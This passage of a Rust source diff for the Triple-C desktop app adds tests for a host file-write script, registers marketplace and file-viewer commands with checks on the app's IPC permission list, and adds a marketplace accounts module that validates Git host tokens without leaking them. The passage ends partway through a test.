let wrong_base = sha256_hex(b"not what is on disk\n");
let (code, _stdout, stderr) = run_write_script(&target, &tmp, &wrong_base);
assert_eq!(code, 3, "stderr={stderr}");
assert_eq!(std::fs::read(&target).unwrap(), b"old\n", "must be untouched");
assert!(!tmp.exists(), "the staged /tmp payload must still be cleaned up");
let _ = std::fs::remove_dir_all(&dir);
}
#[cfg(unix)]
#[test]
fn on_the_host_a_missing_target_reports_gone() {
let dir = unique_test_dir("gone");
let target = dir.join("does-not-exist");
let tmp = dir.join("payload");
std::fs::write(&tmp, b"new\n").unwrap();
let (code, _stdout, stderr) = run_write_script(&target, &tmp, &sha256_hex(b"whatever"));
assert_eq!(code, 4, "stderr={stderr}");
let _ = std::fs::remove_dir_all(&dir);
}
/// I1: a real read failure must be a real error (exit 1), never the exit-3
/// conflict a bare `sha256sum | cut` pipeline (no `pipefail` in POSIX sh) would
/// silently produce.
#[cfg(unix)]
#[test]
fn on_the_host_an_unreadable_target_is_an_error_not_a_conflict() {
use std::os::unix::fs::PermissionsExt;
let dir = unique_test_dir("unreadable");
let target = dir.join("t.txt");
let tmp = dir.join("payload");
std::fs::write(&target, b"old\n").unwrap();
std::fs::write(&tmp, b"new\n").unwrap();
std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o000)).unwrap();
if std::fs::read(&target).is_ok() {
// Running as root (or some other bypass): 0o000 does not block reads,
// so this scenario cannot be reproduced here.
eprintln!("skipping: still able to read a 0o000 file (root?)");
let _ = std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o644));
let _ = std::fs::remove_dir_all(&dir);
return;
}
let (code, _stdout, stderr) = run_write_script(&target, &tmp, &sha256_hex(b"old\n"));
assert_eq!(
code, 1,
"an unreadable target must be a real error, not exit 3; stderr={stderr}"
);
assert!(!tmp.exists(), "the staged /tmp payload must still be cleaned up");
let _ = std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o644));
let _ = std::fs::remove_dir_all(&dir);
}
/// I3: a target the container user cannot write is refused outright, never
/// replaced via rename.
#[cfg(unix)]
#[test]
fn on_the_host_a_read_only_target_is_refused_not_replaced() {
use std::os::unix::fs::PermissionsExt;
let dir = unique_test_dir("readonly");
let target = dir.join("t.txt");
let tmp = dir.join("payload");
std::fs::write(&target, b"old\n").unwrap();
std::fs::write(&tmp, b"new\n").unwrap();
std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o444)).unwrap();
if std::fs::OpenOptions::new().write(true).open(&target).is_ok() {
eprintln!("skipping: still able to write a 0o444 file (root?)");
let _ = std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o644));
let _ = std::fs::remove_dir_all(&dir);
return;
}
let (code, _stdout, stderr) = run_write_script(&target, &tmp, &sha256_hex(b"old\n"));
assert_eq!(code as i64, EXIT_READ_ONLY, "stderr={stderr}");
assert!(stderr.contains("read-only"), "stderr={stderr}");
assert_eq!(
std::fs::read(&target).unwrap(),
b"old\n",
"a read-only file must not be replaced"
);
assert!(!tmp.exists(), "the staged /tmp payload must still be cleaned up");
let _ = std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o644));
let _ = std::fs::remove_dir_all(&dir);
}
/// I2: a failed stage (here: an unreadable source payload, so `cp` fails after
/// `mktemp` has already created the destination) must not leave a partial
/// `.<name>.triple-c-<suffix>` behind in the user's own directory.
#[cfg(unix)]
#[test]
fn on_the_host_a_failed_stage_leaves_no_partial_file_behind() {
use std::os::unix::fs::PermissionsExt;
let dir = unique_test_dir("cpfail");
let target = dir.join("t.txt");
let tmp = dir.join("payload");
std::fs::write(&target, b"old\n").unwrap();
std::fs::write(&tmp, b"new\n").unwrap();
std::fs::set_permissions(&tmp, std::fs::Permissions::from_mode(0o000)).unwrap();
if std::fs::read(&tmp).is_ok() {
eprintln!("skipping: still able to read a 0o000 file (root?)");
let _ = std::fs::remove_dir_all(&dir);
return;
}
let (code, _stdout, stderr) = run_write_script(&target, &tmp, &sha256_hex(b"old\n"));
assert_eq!(code, 1, "stderr={stderr}");
assert_eq!(std::fs::read(&target).unwrap(), b"old\n", "must be untouched");
let leftovers: Vec<_> = std::fs::read_dir(&dir)
.unwrap()
.filter_map(|e| e.ok())
.map(|e| e.file_name().to_string_lossy().into_owned())
.filter(|n| n.starts_with(".t.txt.triple-c-"))
.collect();
assert!(leftovers.is_empty(), "staged file(s) left behind: {leftovers:?}");
let _ = std::fs::remove_dir_all(&dir);
}
}
+188 -37
View File
@@ -1,9 +1,13 @@
mod auth_bridge;
mod browser_view;
#[cfg(test)]
mod command_census;
mod commands;
mod docker;
pub mod file_viewer;
mod install_helper;
mod logging;
mod marketplace;
mod models;
mod project_lock;
mod storage;
@@ -45,6 +49,7 @@ pub struct AppState {
/// preview is not actually binding on what gets applied.
pub pending_settings_import:
Arc<tokio::sync::Mutex<Option<commands::settings_export_commands::PendingSettingsImport>>>,
pub marketplace: Arc<marketplace::MarketplaceManager>,
}
// ─────────────────────────────────────────────────────────────────────────────
@@ -221,6 +226,12 @@ pub fn run() {
let exec_manager = Arc::new(ExecSessionManager::new());
let auth_bridge = Arc::new(AuthBridgeManager::new());
let lifecycle = Arc::new(Lifecycle::new());
let marketplace = Arc::new(marketplace::MarketplaceManager::new(
dirs::data_dir()
.map(|d| d.join("triple-c"))
.unwrap_or_else(|| std::env::temp_dir().join("triple-c")),
));
let marketplace_setup = marketplace.clone();
// Clone Arcs for the setup closure (web terminal auto-start)
let projects_store_setup = projects_store.clone();
@@ -239,7 +250,9 @@ pub fn run() {
web_terminal_server: Arc::new(tokio::sync::Mutex::new(None)),
lifecycle,
pending_settings_import: Arc::new(tokio::sync::Mutex::new(None)),
marketplace,
})
.manage(file_viewer::registry::ViewerRegistry::default())
.setup(move |app| {
match tauri::image::Image::from_bytes(include_bytes!("../icons/icon.png")) {
Ok(icon) => {
@@ -294,6 +307,25 @@ pub fn run() {
.await;
});
// Marketplaces: refresh each once at startup, in the background.
// Failures are logged, not toasted — the Marketplace tab shows them.
{
let settings = settings_store_setup.get();
let settings_store = settings_store_setup.clone();
let marketplace = marketplace_setup.clone();
tauri::async_runtime::spawn(async move {
for m in &settings.marketplaces {
// Reads the store again under the lock: one removed
// since startup is skipped (PR review #6).
let current = || settings_store.get();
let snap = crate::marketplace::refresh_marketplace(&marketplace, &current, &m.id).await;
if let Some(e) = snap.fetch_error {
log::warn!("Marketplace \"{}\" could not be refreshed at startup: {}", m.name, e);
}
}
});
}
// Auto-start web terminal server if enabled in settings
let settings = settings_store_setup.get();
if settings.web_terminal.enabled {
@@ -515,6 +547,28 @@ pub fn run() {
commands::auth_token_commands::has_claude_token,
commands::auth_token_commands::clear_claude_token,
commands::auth_token_commands::sweep_claude_token_snapshots,
// Marketplace
commands::marketplace_commands::list_marketplace_snapshots,
commands::marketplace_commands::refresh_marketplaces,
commands::marketplace_commands::add_marketplace,
commands::marketplace_commands::update_marketplace,
commands::marketplace_commands::remove_marketplace,
commands::marketplace_commands::install_marketplace_item,
commands::marketplace_commands::uninstall_marketplace_item,
commands::marketplace_commands::set_global_item_disabled,
commands::marketplace_commands::forget_marketplace_installs,
commands::marketplace_commands::list_marketplace_updates,
commands::marketplace_commands::marketplace_item_diff,
commands::marketplace_commands::update_marketplace_item,
commands::marketplace_commands::apply_marketplace_now,
commands::marketplace_commands::get_marketplace_sync_report,
commands::marketplace_commands::add_marketplace_token_account,
commands::marketplace_commands::add_marketplace_gh_host_account,
commands::marketplace_commands::start_marketplace_gh_container_login,
commands::marketplace_commands::cancel_marketplace_gh_login,
commands::marketplace_commands::test_marketplace_account,
commands::marketplace_commands::remove_marketplace_account,
commands::marketplace_commands::marketplace_gh_host_available,
// Settings
commands::settings_commands::get_settings,
commands::settings_commands::update_settings,
@@ -545,6 +599,13 @@ pub fn run() {
commands::file_commands::read_container_file,
commands::file_commands::rename_container_path,
commands::file_commands::create_container_directory,
// Terminal file viewer
commands::file_viewer_commands::open_file_viewer,
commands::file_viewer_commands::viewer_get_state,
commands::file_viewer_commands::viewer_choose_file,
commands::file_viewer_commands::viewer_read_file,
commands::file_viewer_commands::viewer_poll_file,
commands::file_viewer_commands::viewer_write_file,
// AWS
commands::aws_commands::aws_sso_refresh,
// Updates
@@ -835,30 +896,11 @@ mod tests {
&mut defined,
);
// The registration list, read from this file rather than from a macro
// expansion so the test does not depend on `generate_handler!`'s shape.
let this = include_str!("lib.rs");
let handler = this
.split_once("generate_handler![")
.and_then(|(_, rest)| rest.split_once("])"))
.map(|(inside, _)| inside)
// The registration list, read from this file by the same parser `build.rs` uses to
// declare the AppManifest — so if this test can see a command, the ACL can too.
let ordered = crate::command_census::registered_commands(include_str!("lib.rs"))
.expect("lib.rs should contain a generate_handler! list");
// Line-based, not `split(',')`: the list is grouped under `// Docker`
// style comments, and splitting on commas glues each comment to the
// command that follows it. A `starts_with("//")` filter then drops that
// command — silently, and once per group.
let registered: BTreeSet<String> = handler
.lines()
.map(str::trim)
.filter(|l| !l.is_empty() && !l.starts_with("//"))
.filter_map(|l| {
l.trim_end_matches(',')
.rsplit("::")
.next()
.map(|n| n.trim().to_string())
})
.filter(|n| !n.is_empty())
.collect();
let registered: BTreeSet<String> = ordered.iter().cloned().collect();
assert!(
!defined.is_empty() && !registered.is_empty(),
@@ -887,23 +929,13 @@ mod tests {
// passed here.
let mut seen: Vec<&str> = Vec::new();
let mut duplicated: Vec<&str> = Vec::new();
for line in handler
.lines()
.map(str::trim)
.filter(|l| !l.is_empty() && !l.starts_with("//"))
{
if let Some(name) = line.trim_end_matches(',').rsplit("::").next() {
let name = name.trim();
if name.is_empty() {
continue;
}
if seen.contains(&name) {
for name in &ordered {
if seen.contains(&name.as_str()) {
duplicated.push(name);
} else {
seen.push(name);
}
}
}
assert!(
duplicated.is_empty(),
"these are registered more than once: {:?}",
@@ -930,7 +962,10 @@ mod tests {
})
.collect();
let mut sorted = listed.clone();
// Plugin and core grants: the exact reviewed list, unchanged by the lockdown.
let (bare, prefixed): (Vec<String>, Vec<String>) =
listed.iter().cloned().partition(|g| !g.contains(':'));
let mut sorted = prefixed;
sorted.sort();
let mut expected = vec![
"core:event:allow-listen",
@@ -942,11 +977,31 @@ mod tests {
expected.sort();
assert_eq!(
sorted, expected,
"the capability set changed. That is allowed — but it is the IPC \
"the plugin/core capability set changed. That is allowed — but it is the IPC \
surface a compromised webview can call, so update this list \
deliberately rather than to make the test pass."
);
// App commands: since build.rs declares the AppManifest, the bare `allow-*` grants
// are the complete list of app commands the main window may call. `build.rs` already
// fails the build when they disagree with generate_handler!; this keeps the reviewed
// rule ("every non-viewer command, exactly") visible where the plugin census lives.
let registered = crate::command_census::registered_commands(include_str!("lib.rs"))
.expect("lib.rs should contain a generate_handler! list");
let mut expected_bare: Vec<String> = registered
.iter()
.filter(|c| crate::command_census::expected_windows(c) == ["main"])
.map(|c| crate::command_census::allow_permission(c))
.collect();
expected_bare.sort();
let mut bare = bare;
bare.sort();
assert_eq!(
bare, expected_bare,
"default.json's app-command grants must be exactly the main-window commands"
);
assert!(bare.len() >= 100, "the census found {} app grants; the parser has stopped seeing the list", bare.len());
// Belt and braces: the `*:default` aliases are the specific trap here,
// because they expand to a set the file never spells out. `store:*` in
// particular was an arbitrary host-file read/write primitive.
@@ -964,4 +1019,100 @@ mod tests {
);
}
}
/// `build.rs` derives the AppManifest from the handler list and this reads back what
/// tauri-build actually embedded. `cargo test` runs the build script first, so
/// `gen/schemas/acl-manifests.json` is fresh. This guards against the committed/generated
/// artifact diverging from `generate_handler!` — a stale `acl-manifests.json`, or a
/// tauri-build naming change — using the same `registered_commands` parser `build.rs` used
/// to derive the manifest in the first place. It is *not* independent of a parser dropout on
/// its own: if `registered_commands` lost half the list, `build.rs` would declare half a
/// manifest and this would still compare it against the same half. That guarantee is
/// transitive, not local — `every_command_is_registered_exactly_once` covers it, by
/// cross-checking the parser's output against an independent `#[tauri::command]` scan, so a
/// parser regression that silently dropped commands fails there rather than going unnoticed
/// here.
#[test]
fn the_generated_app_manifest_matches_the_handler_list() {
use std::collections::BTreeSet;
let path = concat!(env!("CARGO_MANIFEST_DIR"), "/gen/schemas/acl-manifests.json");
let raw = std::fs::read_to_string(path)
.expect("gen/schemas/acl-manifests.json is written by build.rs on every build");
let manifests: serde_json::Value =
serde_json::from_str(&raw).expect("acl-manifests.json must parse");
let app = manifests.get("__app-acl__").expect(
"build.rs must declare an AppManifest — without it tauri skips the ACL for every \
app command",
);
let embedded: BTreeSet<String> = app["permissions"]
.as_object()
.expect("the app manifest has a permissions map")
.keys()
.cloned()
.collect();
let registered = crate::command_census::registered_commands(include_str!("lib.rs"))
.expect("lib.rs should contain a generate_handler! list");
let expected: BTreeSet<String> = registered
.iter()
.flat_map(|c| {
let allow = crate::command_census::allow_permission(c);
let deny = format!("deny-{}", &allow["allow-".len()..]);
[allow, deny]
})
.collect();
assert!(registered.len() >= 100, "the parser sees {} commands", registered.len());
assert_eq!(
embedded, expected,
"the embedded app manifest and generate_handler! disagree: build.rs and \
tauri-build should have produced the same list"
);
assert!(
app["permission_sets"].as_object().is_some_and(|s| s.is_empty()),
"no permission sets: every grant is a literal allow-* string in a capability file"
);
assert!(app["default_permission"].is_null(), "no app `default` permission set");
}
/// `build.rs`'s `check_tauri_config` (inline `app.security.capabilities`, a JSON5/TOML tauri
/// config, `TAURI_CONFIG`) only runs inside the build script, so it only re-runs on a clean
/// build or in CI — cargo's incremental build has no reason to notice a new
/// `tauri.<platform>.conf.json` dropped into an already-built tree (CLAUDE.md, "Known
/// limit"). This runs the same check, using the same `command_census` functions build.rs
/// calls, directly against the real `app/src-tauri` directory on every `cargo test`, so that
/// gap is closed locally too.
#[test]
fn the_tauri_config_capability_check_runs_against_the_real_tree() {
let dir = env!("CARGO_MANIFEST_DIR");
let mut problems = Vec::new();
for entry in std::fs::read_dir(dir).expect("readable src-tauri/") {
let path = entry.expect("readable entry in src-tauri/").path();
let name = path
.file_name()
.expect("a directory entry has a file name")
.to_string_lossy()
.into_owned();
match crate::command_census::tauri_config_file(&name) {
None => {}
Some(false) => problems.push(format!(
"{name}: the census reads JSON tauri configs only; a JSON5/TOML config \
could declare capabilities it cannot see"
)),
Some(true) => {
let json =
std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("{name}: {e}"));
problems.extend(crate::command_census::tauri_config_problem(&name, &json));
}
}
}
if let Ok(json) = std::env::var("TAURI_CONFIG") {
problems.extend(crate::command_census::tauri_config_problem("TAURI_CONFIG", &json));
}
assert!(
problems.is_empty(),
"cargo test found what build.rs would refuse on a clean build: {problems:?}"
);
}
}
+652
View File
@@ -0,0 +1,652 @@
//! Marketplace accounts: where a fetch credential comes from, checking a
//! pasted token, and turning a failed fetch into advice a person can act on.
//!
//! Nothing here logs, returns or formats a token into an error string. A
//! `GhHost` account stores nothing at all: its token is asked of the host's
//! `gh` every time, so a later `gh auth refresh` or logout takes effect.
use std::time::Duration;
use crate::marketplace::git::{Credential, FetchError};
use crate::models::marketplace::{AccountMethod, MarketplaceAccount};
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum HostKind {
GitHub,
Gitea,
GitLab,
Unknown,
}
/// Known by name only; Gitea (and self-hosted GitLab) are recognised by
/// probing their API in [`validate_token`].
pub fn host_kind(host: &str) -> HostKind {
match host.to_ascii_lowercase().as_str() {
"github.com" => HostKind::GitHub,
"gitlab.com" => HostKind::GitLab,
_ => HostKind::Unknown,
}
}
/// `host[:port]` characters only — also what keeps a host safe as a `gh` argument.
///
/// This is a character-set check, not full `host:port` validation — it does
/// not bound a port to 0–65535 or otherwise parse the `:port` suffix. A
/// caller that needs that (e.g. a host validator layered on top of this one)
/// checks the port itself.
///
/// `pub(crate)` so other validators (the add-marketplace form, `gh_login`) use
/// this same rule instead of a divergent copy (pre-flight F13).
pub(crate) fn valid_host(host: &str) -> bool {
!host.is_empty()
&& host.len() <= 253
&& !host.starts_with('-')
&& host
.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'-' | b':'))
}
/// The host of an `https://` marketplace URL, lowercased, with a non-default port kept.
pub fn host_of(url: &str) -> Result<String, String> {
// Pre-flight N17: never echo the raw URL back on a parse failure — a
// malformed URL can carry `user:token@` and this is the one branch that
// has not already stripped it.
let parsed = url::Url::parse(url.trim()).map_err(|e| format!("Not a valid URL: {}", e))?;
if parsed.scheme() != "https" {
return Err("Only https:// marketplace URLs are supported.".to_string());
}
if !parsed.username().is_empty() || parsed.password().is_some() {
return Err("Put credentials in a marketplace account, not in the URL.".to_string());
}
let host = parsed
.host_str()
.ok_or_else(|| "The URL has no host".to_string())?
.to_ascii_lowercase();
let host = match parsed.port() {
Some(port) => format!("{}:{}", host, port),
None => host,
};
if !valid_host(&host) {
return Err(format!("{:?} is not a supported host name", host));
}
Ok(host)
}
/// The username sent with the token over HTTPS.
pub fn fetch_username(account: &MarketplaceAccount) -> String {
if host_kind(&account.host) == HostKind::GitHub {
return "x-access-token".to_string();
}
account
.username
.clone()
.filter(|u| !u.trim().is_empty())
.unwrap_or_else(|| "oauth2".to_string())
}
// ─────────────────────────────────────────────────────────────────────────────
// Host `gh`
// ─────────────────────────────────────────────────────────────────────────────
const GH_TIMEOUT: Duration = Duration::from_secs(15);
/// Run the host's `gh` with a plain argv (no shell) and return trimmed stdout.
async fn run_gh(args: &[&str]) -> Result<String, String> {
let mut cmd = tokio::process::Command::new("gh");
cmd.args(args)
.stdin(std::process::Stdio::null())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.kill_on_drop(true);
let output = tokio::time::timeout(GH_TIMEOUT, cmd.output())
.await
.map_err(|_| "gh did not answer within 15 seconds".to_string())?
.map_err(|e| format!("Could not run gh: {}", e))?;
if !output.status.success() {
let stderr = String::from_utf8_lossy(&output.stderr);
return Err(stderr
.lines()
.next()
.unwrap_or("gh failed")
.trim()
.to_string());
}
Ok(String::from_utf8_lossy(&output.stdout).trim().to_string())
}
pub async fn gh_host_available() -> bool {
run_gh(&["--version"]).await.is_ok()
}
fn gh_login_instructions(host: &str) -> String {
format!(
"gh on this computer is not logged in to {host}. Run `gh auth login --hostname {host}` \
in a terminal, then try again.",
host = host
)
}
/// The login name `gh` on the host is signed in as for `host`.
pub async fn gh_host_login(host: &str) -> Result<String, String> {
if !valid_host(host) {
return Err(format!("{:?} is not a supported host name", host));
}
run_gh(&["auth", "status", "--hostname", host])
.await
.map_err(|_| gh_login_instructions(host))?;
let login = run_gh(&["api", "user", "--hostname", host, "--jq", ".login"]).await?;
if login.is_empty() {
return Err(gh_login_instructions(host));
}
Ok(login)
}
/// Resolve the credential for an account: `GhHost` → `gh auth token
/// --hostname <host>`; `GhContainer`/`Token` → the keychain.
pub async fn resolve_credential(account: &MarketplaceAccount) -> Result<Credential, String> {
let password = match account.method {
AccountMethod::GhHost => {
if !valid_host(&account.host) {
return Err(format!("{:?} is not a supported host name", account.host));
}
let token = run_gh(&["auth", "token", "--hostname", &account.host])
.await
.map_err(|_| gh_login_instructions(&account.host))?;
if token.is_empty() {
return Err(gh_login_instructions(&account.host));
}
token
}
AccountMethod::GhContainer | AccountMethod::Token => {
crate::storage::secure::get_marketplace_token(&account.id)?.ok_or_else(|| {
format!(
"No token is stored for the account \"{}\". Remove it and sign in again.",
account.label
)
})?
}
};
Ok(Credential {
username: fetch_username(account),
password,
})
}
// ─────────────────────────────────────────────────────────────────────────────
// Token validation
// ─────────────────────────────────────────────────────────────────────────────
#[derive(Debug, PartialEq, Eq)]
enum Probe {
Login(String),
Rejected(u16),
NotThisKind,
}
fn http_client() -> Result<reqwest::Client, String> {
reqwest::Client::builder()
.user_agent("Triple-C")
.timeout(Duration::from_secs(15))
// reqwest's default policy follows up to 10 redirects and only
// strips Authorization/Cookie/Proxy-Authorization/WWW-Authenticate
// on a cross-*host* hop — GitLab's PRIVATE-TOKEN header (and any
// header on a same-host https→http downgrade) would otherwise
// follow the token to wherever the response points. Never follow;
// `who_am_i` treats the resulting 3xx like an unrecognised API.
.redirect(reqwest::redirect::Policy::none())
.build()
.map_err(|e| format!("Could not create an HTTP client: {}", e))
}
/// One "who am I" call. `base` is the API root for GitHub
/// (`https://api.github.com`) and the site root for Gitea/GitLab.
async fn who_am_i(
client: &reqwest::Client,
kind: HostKind,
base: &str,
token: &str,
) -> Result<Probe, String> {
let (url, header, value, field) = match kind {
HostKind::GitHub => (
format!("{}/user", base),
"Authorization",
format!("Bearer {}", token),
"login",
),
HostKind::Gitea => (
format!("{}/api/v1/user", base),
"Authorization",
format!("token {}", token),
"login",
),
HostKind::GitLab => (
format!("{}/api/v4/user", base),
"PRIVATE-TOKEN",
token.to_string(),
"username",
),
HostKind::Unknown => return Ok(Probe::NotThisKind),
};
let response = client
.get(&url)
.header(header, value)
.header("Accept", "application/json")
.send()
.await
// reqwest's error text carries the URL, never the header.
.map_err(|e| format!("Could not reach {}: {}", base, e.without_url()))?;
let status = response.status().as_u16();
match status {
200 => {
let json: serde_json::Value = match response.json().await {
Ok(json) => json,
Err(_) => return Ok(Probe::NotThisKind),
};
match json.get(field).and_then(|v| v.as_str()) {
Some(login) if !login.is_empty() => Ok(Probe::Login(login.to_string())),
_ => Ok(Probe::NotThisKind),
}
}
401 | 403 => Ok(Probe::Rejected(status)),
404 => Ok(Probe::NotThisKind),
// The client never follows redirects (see `http_client`); a 3xx here
// means this API would have sent the token onward, so treat it the
// same as a host that isn't this kind rather than as an error.
300..=399 => Ok(Probe::NotThisKind),
other => Err(format!(
"{} answered HTTP {} when checking the token",
base, other
)),
}
}
fn rejected(host: &str, status: u16) -> String {
format!(
"{} rejected the token (HTTP {}). Check that it has not expired and can read repositories.",
host, status
)
}
/// GitHub is asked at `github_api`; anything else is probed as Gitea, then
/// GitLab, at `site`. `Ok(None)`: the host is neither, so the token could not
/// be checked here — the marketplace's test fetch checks it instead.
async fn validate_token_at(
host: &str,
github_api: Option<&str>,
site: &str,
token: &str,
) -> Result<Option<String>, String> {
let client = http_client()?;
if let Some(api) = github_api {
return match who_am_i(&client, HostKind::GitHub, api, token).await? {
Probe::Login(login) => Ok(Some(login)),
Probe::Rejected(status) => Err(rejected(host, status)),
Probe::NotThisKind => Err(format!("{} did not return a user for this token", host)),
};
}
for kind in [HostKind::Gitea, HostKind::GitLab] {
match who_am_i(&client, kind, site, token).await? {
Probe::Login(login) => return Ok(Some(login)),
Probe::Rejected(status) => return Err(rejected(host, status)),
Probe::NotThisKind => {}
}
}
Ok(None)
}
/// "Who am I" check for a pasted token. `Ok(Some(login))` when the host
/// confirmed it; `Ok(None)` when the host is not GitHub, Gitea or GitLab and
/// the token is left to the first fetch to prove.
pub async fn validate_token(host: &str, token: &str) -> Result<Option<String>, String> {
if !valid_host(host) {
return Err(format!("{:?} is not a supported host name", host));
}
if token.trim().is_empty() {
return Err("Paste a token first.".to_string());
}
let site = format!("https://{}", host);
match host_kind(host) {
HostKind::GitHub => {
validate_token_at(host, Some("https://api.github.com"), &site, token.trim()).await
}
_ => validate_token_at(host, None, &site, token.trim()).await,
}
}
// ─────────────────────────────────────────────────────────────────────────────
// Fetch errors
// ─────────────────────────────────────────────────────────────────────────────
fn who(account: Option<&MarketplaceAccount>) -> String {
match account {
None => "anonymously (no account)".to_string(),
Some(a) => match &a.username {
Some(u) if !u.is_empty() => format!("with the account \"{}\" ({})", a.label, u),
_ => format!("with the account \"{}\"", a.label),
},
}
}
/// User-facing message for a failed fetch, naming the account used and, for
/// access problems, the usual organisation causes with the page that fixes each.
///
/// `url` must be a marketplace URL already validated by [`host_of`] (as every
/// stored marketplace's URL is) — it is echoed into the message verbatim, so
/// passing unvalidated user input here would defeat the point of N17.
pub fn describe_fetch_error(
err: &FetchError,
account: Option<&MarketplaceAccount>,
url: &str,
) -> String {
let host = host_of(url).unwrap_or_else(|_| url.to_string());
match err {
FetchError::Auth { .. } | FetchError::NotFound => {
let what = match err {
FetchError::Auth { status } => format!("access was denied (HTTP {})", status),
_ => "the repository was not found".to_string(),
};
let mut msg = format!("Could not read {} {}: {}.", url, who(account), what);
if account.is_none() {
msg.push_str(
"\n• The repository may be private — choose an account that can read it.",
);
}
if host_kind(&host) == HostKind::GitHub {
msg.push_str(
"\n• The organization may restrict third-party app access and not have approved \
the GitHub CLI or your token: \
https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions\
\n• If the organization uses SAML single sign-on, the token must be authorized for it: \
https://github.com/settings/tokens\
\n• A fine-grained token only reaches repositories of the owner it was created for: \
https://github.com/settings/personal-access-tokens",
);
} else if account.is_some() {
msg.push_str("\n• Check that the account's token has not expired and can read this repository.");
}
msg
}
FetchError::Network(m) => format!(
"Could not reach {}: {}. The last fetched copy is still used.",
host, m
),
FetchError::Other(m) => format!("Fetching {} failed: {}", url, m),
}
}
#[cfg(test)]
mod tests {
use super::*;
fn account(host: &str, username: Option<&str>) -> MarketplaceAccount {
MarketplaceAccount {
id: "acc-1".into(),
label: "Work".into(),
host: host.into(),
method: AccountMethod::Token,
username: username.map(str::to_string),
}
}
#[test]
fn host_of_accepts_https_only() {
assert_eq!(host_of("https://GitHub.com/a/b.git").unwrap(), "github.com");
assert_eq!(
host_of("https://git.example.com:8443/a/b").unwrap(),
"git.example.com:8443"
);
assert!(host_of("http://github.com/a/b").is_err());
assert!(host_of("git@github.com:a/b.git").is_err());
assert!(host_of("file:///tmp/x").is_err());
let err = host_of("https://user:test-token-not-real@github.com/a/b").unwrap_err();
assert!(!err.contains("test-token-not-real"));
}
/// Pre-flight N17, the parse-failure branch specifically: a URL that is
/// both malformed (port out of `u16` range) *and* carries credentials
/// must not have either the credentials or the raw URL echoed back.
#[test]
fn host_of_never_echoes_a_credential_bearing_url_that_fails_to_parse() {
let err = host_of("https://user:test-token-not-real@github.com:99999/a").unwrap_err();
assert!(!err.contains("test-token-not-real"), "{}", err);
assert!(!err.contains("user:"), "{}", err);
}
#[test]
fn fetch_username_per_host() {
assert_eq!(
fetch_username(&account("github.com", Some("me"))),
"x-access-token"
);
assert_eq!(
fetch_username(&account("repo.example.net", Some("jk"))),
"jk"
);
assert_eq!(fetch_username(&account("repo.example.net", None)), "oauth2");
assert_eq!(
fetch_username(&account("repo.example.net", Some(" "))),
"oauth2"
);
}
#[test]
fn host_kinds() {
assert_eq!(host_kind("GITHUB.com"), HostKind::GitHub);
assert_eq!(host_kind("gitlab.com"), HostKind::GitLab);
assert_eq!(host_kind("repo.example.net"), HostKind::Unknown);
}
#[test]
fn describe_access_errors_names_account_and_org_causes() {
let url = "https://github.com/acme/private-market.git";
let msg = describe_fetch_error(
&FetchError::Auth { status: 403 },
Some(&account("github.com", Some("me"))),
url,
);
assert!(msg.contains("\"Work\" (me)"), "{}", msg);
assert!(msg.contains("HTTP 403"));
assert!(msg.contains("third-party app access"));
assert!(msg.contains("single sign-on"));
assert!(msg.contains("fine-grained"));
let anon = describe_fetch_error(&FetchError::NotFound, None, url);
assert!(anon.contains("anonymously"));
assert!(anon.contains("may be private"));
let gitea = describe_fetch_error(
&FetchError::Auth { status: 401 },
Some(&account("repo.example.net", None)),
"https://repo.example.net/o/r.git",
);
assert!(!gitea.contains("single sign-on"));
assert!(gitea.contains("expired"));
}
#[test]
fn describe_network_and_other_errors() {
let msg = describe_fetch_error(
&FetchError::Network("dns error".into()),
None,
"https://github.com/a/b",
);
assert!(msg.contains("Could not reach github.com"));
assert!(msg.contains("last fetched copy"));
let msg = describe_fetch_error(
&FetchError::Other("weird".into()),
None,
"https://github.com/a/b",
);
assert!(msg.contains("weird"));
}
// ── validate_token against a local mock API ──────────────────────────────
const FAKE: &str = "test-token-not-real";
async fn serve(app: axum::Router) -> String {
let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
tokio::spawn(async move {
axum::serve(listener, app).await.unwrap();
});
format!("http://{}", addr)
}
fn authorised(headers: &axum::http::HeaderMap, name: &str, want: &str) -> bool {
headers.get(name).and_then(|v| v.to_str().ok()) == Some(want)
}
#[tokio::test]
async fn github_token_returns_login_or_is_rejected() {
use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
let app = Router::new().route(
"/user",
get(|headers: HeaderMap| async move {
if authorised(&headers, "authorization", &format!("Bearer {}", FAKE)) {
Ok(Json(serde_json::json!({ "login": "octo" })))
} else {
Err(StatusCode::UNAUTHORIZED)
}
}),
);
let base = serve(app).await;
assert_eq!(
validate_token_at("github.com", Some(&base), "unused", FAKE)
.await
.unwrap(),
Some("octo".to_string())
);
let err = validate_token_at("github.com", Some(&base), "unused", "wrong")
.await
.unwrap_err();
assert!(err.contains("HTTP 401"), "{}", err);
assert!(
!err.contains("wrong"),
"the token must not appear in the error"
);
}
#[tokio::test]
async fn gitea_is_detected_first() {
use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
let app = Router::new().route(
"/api/v1/user",
get(|headers: HeaderMap| async move {
if authorised(&headers, "authorization", &format!("token {}", FAKE)) {
Ok(Json(serde_json::json!({ "login": "jk" })))
} else {
Err(StatusCode::UNAUTHORIZED)
}
}),
);
let site = serve(app).await;
assert_eq!(
validate_token_at("h", None, &site, FAKE).await.unwrap(),
Some("jk".to_string())
);
assert!(validate_token_at("h", None, &site, "wrong").await.is_err());
}
#[tokio::test]
async fn gitlab_is_tried_after_gitea_404() {
use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
let app = Router::new().route(
"/api/v4/user",
get(|headers: HeaderMap| async move {
if authorised(&headers, "private-token", FAKE) {
Ok(Json(serde_json::json!({ "username": "gl-user" })))
} else {
Err(StatusCode::UNAUTHORIZED)
}
}),
);
let site = serve(app).await;
assert_eq!(
validate_token_at("h", None, &site, FAKE).await.unwrap(),
